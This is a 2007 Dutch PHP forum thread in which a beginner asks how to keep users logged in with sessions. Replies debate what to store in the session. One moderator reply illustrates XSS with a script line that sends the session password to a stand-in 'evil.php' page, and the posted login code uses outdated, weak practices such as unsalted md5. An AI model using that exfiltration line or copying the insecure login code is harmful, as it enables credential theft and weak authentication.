Scripts - Tutorials - Forum - Downloads - Showcase - Contact

Artikels

VPN vergelijken

Algemeen

Beginpagina

FAQ

Grafische worm (243)

Links

Nieuwsartikels

Nieuwsarchief

Boeken programmeren

Overzicht

Samenwerken

Webhosting

Zoek op Sitemasters

Leden

Registreren

Ledenlijst

Ons team

Links

webhostingtop10.be

Sociale media

Follow @sitemasters

Sitemasters

Adverteren op Sitemasters?

Contacteer ons

RSS

Link naar ons

Donaties

Poll

Je moet ingelogd zijn om te stemmen.

Statistieken

Linkpartners

Forum

Categorieën > PHP

SESSION maken

SomaQan - 20/02/2007 14:03 (laatste wijziging 20/02/2007 19:38)

PHP beginner

ik heb eindelijk me Loginsysteem werkend gemaakt

nu wil een SESSION maken zodat ik ingelogd blij als ik naar een andere pagina ga, maar de vraag is hoe kan ik dat in mij script verwerken ?

Mijn script
http://www.plaatscode.be/4292/

en wat ik beter gebruiken cookie of session ?

php code - Bekijk de code zonder highlighting - Klap code in

<?php
session_start(); 
include('config.php');

     if(isset($_POST['submit']))
   
      {
   
   
$query = mysql_query(" SELECT ID FROM lid WHERE username = '".mysql_real_escape_string($_POST['username'])."' AND password = '".md5($_POST['password'])."' AND naam = '".mysql_real_escape_string($_POST['naam'])."' ")or die(mysql_error());
   
       if(mysql_num_rows($query) != 0)
  
        {
     

$_SESSION['id'] = 'id';

{
header ("Location: index.php");
}

echo "U Bent ingelogd <b>".$naam."</b>!<br />";
die("Klik hier om verder te gaan");
        }

          else
  
          {
  
              echo "Dit account bestaat niet !<br />";
 die("Klik <a href='javascript:history.go(-1)'>hier</a> om terug te gaan");

          }
 
      }
 
      else
  
      {
 
          echo "

<form method='post' action=''>
Gebruikernaam:   <input type='text' name='username' /><br />
Wachtwoord:    <input type='password' name='password' /><br />
Naam:    <input type='text' name='naam' /><br />
<input type='submit' name='submit' value='Inloggen' />
</form>
 ";
 
}
  
?>

<?php
session_start(); 
include('config.php');
 
     if(isset($_POST['submit']))
 
      {
 
 
$query = mysql_query(" SELECT ID FROM lid WHERE username = '".mysql_real_escape_string($_POST['username'])."' AND password = '".md5($_POST['password'])."' AND naam = '".mysql_real_escape_string($_POST['naam'])."' ")or die(mysql_error());
 
       if(mysql_num_rows($query) != 0)
 
        {
 
 
$_SESSION['id'] = 'id';
 
{
header ("Location: index.php");
}
 
echo "U Bent ingelogd <b>".$naam."</b>!<br />";
die("Klik hier om verder te gaan");
        }
 
          else
 
          {
 
              echo "Dit account bestaat niet !<br />";
 die("Klik <a href='javascript:history.go(-1)'>hier</a> om terug te gaan");
 
          }
 
      }
 
      else
 
      {
 
          echo "
 
<form method='post' action=''>
Gebruikernaam:   <input type='text' name='username' /><br />
Wachtwoord:    <input type='password' name='password' /><br />
Naam:    <input type='text' name='naam' /><br />
<input type='submit' name='submit' value='Inloggen' />
</form>
 ";
 
}
 
?>

17 antwoorden

Gesponsorde links

delta_004 - 20/02/2007 14:07
Onbekend		Dan is het tog geen Loginsysteem?

Jesse2303 - 20/02/2007 14:08
Onbekend		Maak een querry session_start(); bovenaan zetten en php code - Bekijk de code zonder highlighting - Klap code in if(isset($_SESSION['naam'])){ echo "ingelogd"; } else { echo "U bent niet ingelogd"; if(isset($_SESSION['naam'])){ echo "ingelogd"; } else { echo "U bent niet ingelogd"; dit is als voor te kijken of je ingelogd bent

SomaQan - 20/02/2007 14:17 (laatste wijziging 20/02/2007 14:18)
PHP beginner		Delta_004 hoezo ik heb toenet naar een paar loginsystemen gekeken en zij gebruikde SESSION of cookie @jess2303 dat werkt niet

delta_004 - 20/02/2007 14:21 (laatste wijziging 20/02/2007 14:26)
Onbekend		Boven de klik hier ...... te gaan Maak je een sessie (Alleen als je bent ingelogt) En boven aan het script zet je if(isset($_SESSION['..'])) true = Ingelogt false = Inlogform Veiliger: Sessie gebruikersnaam Sessie wachtwoord SELECT lid WHERE gebr='".$_SESSION['gen']."' AND pass='".$_SESSION['wachtwoord']."' mysql num rows true = ingelogt false = form --------------------------- Je kan beter sessies gebruiken, want cookies zijn zelf aantemaken waardoor het hacken veel makkelijker gaat

Nanon - 20/02/2007 15:53
PHP interesse		Ik zou zo'n leuke checkbox erbij maken, zodat je zelf kan bepalen of de gebruiker ingelogd wilt blijven.

Ibrahim - 20/02/2007 16:05
PHP expert		Ik zou eerlijk gezegd GEEN wachtwoord in een sessie zetten

Thomas - 20/02/2007 16:42
Moderator		Is ook nergens voor nodig.

bennieboy - 20/02/2007 16:43
HTML beginner		hoe doe je dat dan nanon?

SomaQan - 20/02/2007 17:21
PHP beginner		oke maar hoe kan ik er voor zorgen dat als mensen een account aan maken en dan inloggen en als hun dan naar een andere pagina op de site zelf nog steeds ingelogd zijn want nu moetje telkens opnieuwe inloggen Hoe kan je zo iets doen ?

Rens - 20/02/2007 17:29 (laatste wijziging 20/02/2007 17:33)
Crew algemeen		PHP.net: session_start :lamp: Lees: http://www.site...ies_in_PHP

SomaQan - 20/02/2007 17:50

PHP beginner

@Rens ik heb het gelezen en ik heb het volgend verwerkt in mij script

php code - Bekijk de code zonder highlighting - Klap code in

<?php
session_start(); 
include('config.php');

     if(isset($_POST['submit']))
   
      {
   
   
$query = mysql_query(" SELECT ID FROM lid WHERE username = '".mysql_real_escape_string($_POST['username'])."' AND password = '".md5($_POST['password'])."' AND naam = '".mysql_real_escape_string($_POST['naam'])."' ")or die(mysql_error());
   
       if(mysql_num_rows($query) != 0)
  
        {
     $_SESSION['ID'];
	 $_SESSION['username'];
	 $_SESSION['password'];
	 $_SESSION['naam'];
echo "U Bent ingelogd <b>".$naam."</b>!<br />";
die("Klik hier om verder te gaan");
        }

          else
  
          {
  
              echo "Dit account bestaat niet !<br />";
 die("Klik <a href='javascript:history.go(-1)'>hier</a> om terug te gaan");

          }
 
      }
 
      else
  
      {
 
          echo "

<form method='post' action=''>
Gebruikernaam:   <input type='text' name='username' /><br />
Wachtwoord:    <input type='password' name='password' /><br />
Naam:    <input type='text' name='naam' /><br />
<input type='submit' name='submit' value='Inloggen' />
</form>
 ";
 
}
  
?>

<?php
session_start(); 
include('config.php');
 
     if(isset($_POST['submit']))
 
      {
 
 
$query = mysql_query(" SELECT ID FROM lid WHERE username = '".mysql_real_escape_string($_POST['username'])."' AND password = '".md5($_POST['password'])."' AND naam = '".mysql_real_escape_string($_POST['naam'])."' ")or die(mysql_error());
 
       if(mysql_num_rows($query) != 0)
 
        {
     $_SESSION['ID'];
	 $_SESSION['username'];
	 $_SESSION['password'];
	 $_SESSION['naam'];
echo "U Bent ingelogd <b>".$naam."</b>!<br />";
die("Klik hier om verder te gaan");
        }
 
          else
 
          {
 
              echo "Dit account bestaat niet !<br />";
 die("Klik <a href='javascript:history.go(-1)'>hier</a> om terug te gaan");
 
          }
 
      }
 
      else
 
      {
 
          echo "
 
<form method='post' action=''>
Gebruikernaam:   <input type='text' name='username' /><br />
Wachtwoord:    <input type='password' name='password' /><br />
Naam:    <input type='text' name='naam' /><br />
<input type='submit' name='submit' value='Inloggen' />
</form>
 ";
 
}
 
?>

En ik heb het getest er is niks gebeurt maar ik vraag me af of het wel goed is zo ?

lasdesigner - 20/02/2007 17:54

PHP beginner

php code - Bekijk de code zonder highlighting - Klap code in

                <?php
$_SESSION['ID'];
   $_SESSION['username'];
   $_SESSION['password'];
   $_SESSION['naam'];

$_SESSION['id'] = 'iets';
$_SESSION['usersname'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'] //zou ik NIET doen
$_SESSION['naam'] = $_POST['naam'];
?>

            
<?php
$_SESSION['ID'];
   $_SESSION['username'];
   $_SESSION['password'];
   $_SESSION['naam'];
 
$_SESSION['id'] = 'iets';
$_SESSION['usersname'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'] //zou ik NIET doen
$_SESSION['naam'] = $_POST['naam'];
?>
 

Iets in de sessie stoppen is wel handig

Rens - 20/02/2007 17:58
Crew algemeen		Die 3 laatste (username, password, naam) is onnodig. Kan vanalles meegedaan worden. Stel je hebt op het profiel geen beveiliging tegen javascript: php code - Bekijk de code zonder highlighting - Klap code in <script type="text/javascript"> window.alert("<?=$_SESSION['naam'];?>"); </script> <script type="text/javascript"> window.alert("<?=$_SESSION['naam'];?>"); </script> invullen, en je krijgt de waarde van $_SESSION['naam'] al voor je... php code - Bekijk de code zonder highlighting - Klap code in <script type="text/javascript"> window.location="http://www.site.nl/evil.php?ww=<?=$_SESSION['password'];?>"; </script> <script type="text/javascript"> window.location="http://www.site.nl/evil.php?ww=<?=$_SESSION['password'];?>"; </script> En de pagina evil.php van site www.site.nl kan het wachtwoord in de database opslaan...

SomaQan - 20/02/2007 18:01
PHP beginner		moet ik door die Password geen hash er door heen halen ?

Rens - 20/02/2007 18:02
Crew algemeen		Je moet het password gewoon niet in de sessie zetten... Een gebruikersID alleen is al genoeg...

SomaQan - 20/02/2007 18:08
PHP beginner		oke wat kan ik het besten in een SESSION zetten php code - Bekijk de code zonder highlighting - Klap code in $_SESSION['ID'] = 'iets'; $_SESSION['ID'] = 'iets'; Wat moet ik bij iets nou eigenlijk zetten ?

Rens - 20/02/2007 18:19
Crew algemeen		Het gebruikersID. Je tabel ziet er bijvoorbeeld zo uit: php code - Bekijk de code zonder highlighting - Klap code in id INT(11) NOT NULL auto_increment username VARCHAR(255) NOT NULL password VARCHAR(255) NOT NULL PRIMARY KEY(id) id INT(11) NOT NULL auto_increment username VARCHAR(255) NOT NULL password VARCHAR(255) NOT NULL PRIMARY KEY(id) En misschien nog meer, maar dat maakt niet uit. En dan zet je id in de sessie. A.d.h.v dat id kun je dan alles van die gebruiker ophalen, zijn naam, zijn wachtwoord, email adres...

Gesponsorde links

Dit onderwerp is gesloten.

Actiefste leden van de maand

Actieve forumberichten